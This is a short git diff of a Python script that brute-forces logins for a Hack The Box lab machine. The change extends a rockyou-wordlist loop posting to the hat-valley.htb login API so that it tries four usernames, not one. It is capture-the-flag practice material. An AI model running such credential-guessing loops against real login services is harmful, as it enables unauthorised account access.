up

quickBF4HTB.py

@@ -2,7 +2,7 @@ from requests import post
 import time
 
 wordlist = "/usr/share/wordlists/rockyou.txt"
-usern = "bean.hill"
+usrn = ["bean.hill", "christine.wool", "christopher.jones", "jackson.lightheart"]
 
 def ayy(username, password):
         endpoint = "http://hat-valley.htb/api/login"
@@ -20,8 +20,9 @@ with open(wordlist,'r') as mariob:
     for passWL in mariob:
 					if found == False:
 						for pasw in passWL.split():
-							print("[+++] testing " + usern + ":" + pasw)
-							if ayy(usern, pasw) == "Incorrect username or password":
+							for usernames in usrn:
+								print("[+++] testing " + usernames + ":" + pasw)
+								if ayy(usernames, pasw) == "Incorrect username or password":
 									print("[+] Found?: " + str(found))
 									time.sleep(.01)
 								else: